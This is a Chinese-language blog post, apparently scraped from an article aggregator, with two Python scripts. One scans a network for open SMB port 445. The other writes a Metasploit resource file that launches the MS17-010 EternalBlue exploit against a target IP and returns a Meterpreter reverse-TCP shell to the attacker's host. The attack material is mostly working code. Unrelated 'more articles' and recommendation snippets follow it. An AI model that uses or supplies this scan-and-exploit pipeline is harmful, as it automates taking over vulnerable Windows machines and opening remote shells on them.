python调用metasploit里的MS-17-010模块进行漏洞攻击
起因:看各位大佬们写的shellcode厉害的一匹,可惜自己没学C和汇编
也看不懂shellcode,只能写一个调用metasploit里的模块进行攻击了。
0x01
攻击机:192.168.223.141 kali Linux
目标:192.168.3.5 windows
需要用到的模块(这里我们写两个脚本,一个用于扫描IP段,看看那个IP开了445)
nmap模块
os模块
sys模块 nmap模块kail自带坑的要死,完全没有相关的函数。
手动卸载:pip uninstall nmap
安装:pip insall nmap
0x02
代码分析
sm445.py
nmap模块详解:https://pypi.python.org/pypi/python-nmap/0.6.1
import nmap
import sys
print '[+]nmap scanning...'
def portscanner(sbg):
nmscn=nmap.PortScanner()#实例化nmap.PortScanner对象
nmscn.scan(sbg,'445')#scan('目标IP','端口')
for host in nmscn.all_hosts():#获取扫描到的所有主机
if nmscn[host].has_tcp(445):#判断主机上是否有445端口,
state=nmscn[host]['tcp'][445]['state']#端口445 / TCP在主机打开
if state=="open":#如果端口开放
print '[*]The open 445 ip in:'+host#输出开放端口的IP
portscanner(sys.argv[1])

yhzl.py
import sys
import os
print 'Metasploit executing the ms-17-010 vulnerability attack'#这句话的意思是正在实施MS17010漏洞的攻击
def sds(config):
config=open('yhzl.rc','w')#首先我们来创建一个xxx.rc的文件
#把你要使用到的模块和对应的参数写入xxx.rc里去
config.write('use exploit/windows/smb/ms17_010_eternalblue'+"\n")
config.write('set PAYLOAD windows/x64/meterpreter/reverse_tcp'+"\n")
config.write('set RHOST '+sys.argv[1]+"\n")
config.write('set LHOST '+sys.argv[2]+"\n")
config.write('exploit'+"\n")
sds('')
def main():
mg=os.system('msfconsole -r /root/yhzl.rc')#执行msfconsole -r 路径/xxx.rc,就可以了
if __name__ == '__main__':
main()
运行截图这里就不放了,我怕电脑蓝屏。视频发到群里了,看攻击过程的小伙伴
可以进群看聊天记录。还有欢迎大家进入即刻安全技术交流群:307283889
推荐大家看基本python的书:
《python绝技 运用python成为顶级黑客》 python2x 版本
《python 黑帽子》 python 3x版本
看完实战,或者构造一个思路去实现他。
python调用metasploit里的MS-17-010模块进行漏洞攻击的更多相关文章
- 《自拍教程17》Python调用命令
他山之石 何为他山之石,就是借助外界工具,来实现自己想要的功能. 命令行界面软件, 即各种命令,我们也叫命令行工具, 此类工具也是测试人员或者开发人员常用的工具的一种. 测试人员可以借助这类工具,快速 ...
- Python调用ffpmeg和ffprobe处理视频文件
需求: 运营有若干批次的视频.有上千个,视频文件,有mp4格式的,有ts格式的 现在有需要去掉视频文件片头和片尾的批量操作需求. 比如 文件夹A下面的视频去掉片尾10秒 文件夹B下面的视频去掉片头6秒 ...
- python调用C++之pybind11入门(相互调用)
python调用C/C++有不少的方法,如boost.python, swig, ctypes, pybind11等,这些方法有繁有简,而pybind11的优点是对C++ 11支持很好,API比较简单 ...
- python调用c\c++
前言 python 这门语言,凭借着其极高的易学易用易读性和丰富的扩展带来的学习友好性和项目友好性,近年来迅速成为了越来越多的人们的首选.然而一旦拿python与传统的编程语言(C/C++)如来比较的 ...
- python调用系统命令popen、system
python调用Shell脚本,有两种方法:os.system(cmd)或os.popen(cmd),前者返回值是脚本的退出状态码,后者的返回值是脚本执行过程中的输出内容.所以说一般我们认为popen ...
- python 调用mysql存储过程返回结果集
存储过程: delimiter | ),)) begin select * from tb_test where mid = imid and user = iuser; end; | delimit ...
- 『Python』Python 调用 ZoomEye API 批量获取目标网站IP
#### 20160712 更新 原API的访问方式是以 HTTP 的方式访问的,根据官网最新文档,现在已经修改成 HTTPS 方式,测试可以正常使用API了. 0x 00 前言 ZoomEye 的 ...
- python 调用shell命令三种方法
#!/usr/bin/python是告诉操作系统执行这个脚本的时候,调用/usr/bin下的python解释器: #!/usr/bin/env python这种用法是为了防止操作系统用户没有将pyth ...
- 篇2 安卓app自动化测试-初识python调用appium
篇2 安卓app自动化测试-初识python调用appium --lamecho辣么丑 1.1概要 大家好!我是lamecho(辣么丑),上一篇也是<安卓app自动化测 ...
随机推荐
- mybatis框架(5)---动态sql
那么,问题来了: 什么是动态SQL? 动态SQL有什么作用? 传统的使用JDBC的方法,相信大家在组合复杂的的SQL语句的时候,需要去拼接,稍不注意哪怕少了个空格,都会导致错误.Mybatis的动态S ...
- Visual Studio中将打开的代码与类文件进行关联
- 【NOIP模拟】cut
Description F大爷热爱切树.今天他找到一棵黑白树,不到两秒钟,F大爷就把这棵树切掉了.已知原先树上共n个点,每个点都是黑点或者白点,F大爷切去若干条边后,分成的若干个连通子树中每块恰有一个 ...
- Hybris 项目工程配置
1.控制台页面进入platform目录 cd F:\hybris640\hybris\bin\platform 并运行 setantenv.bat 生成对应的ant. 2.运行 ant moduleg ...
- BZOJ1798 AHOI2009 维护数列
1798: [Ahoi2009]Seq 维护序列seq Time Limit: 30 Sec Memory Limit: 64 MB Description 老师交给小可可一个维护数列的任务,现在小 ...
- bzoj 2565: 最长双回文串
Description 顺序和逆序读起来完全一样的串叫做回文串.比如acbca是回文串,而abc不是(abc的顺序为"abc",逆序为"cba",不相同).输入 ...
- Vue入门总结
技术栈:VUE:Vue-router:Vue-resource:Vue-cli: 项目:个人博客vue重构 一.vue-cli脚手架搭建项目结构 全局安装vue-cli: npm install vu ...
- 阿里云ECS升级OpenSSL记录
1.下载OpenSSL wget https://www.openssl.org/source/openssl-1.1.0e.tar.gz 2.解压编译安装 tar xf openssl-1.1.0e ...
- 原生JavaScript实现一个简单的todo-list
直接上代码: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UT ...
- 阅读MDN文档之CSS选择器介绍(一)
本文为阅读MDN文档笔记 目录 Different types of Selectors Attribute Selectors Presence and value attribute select ...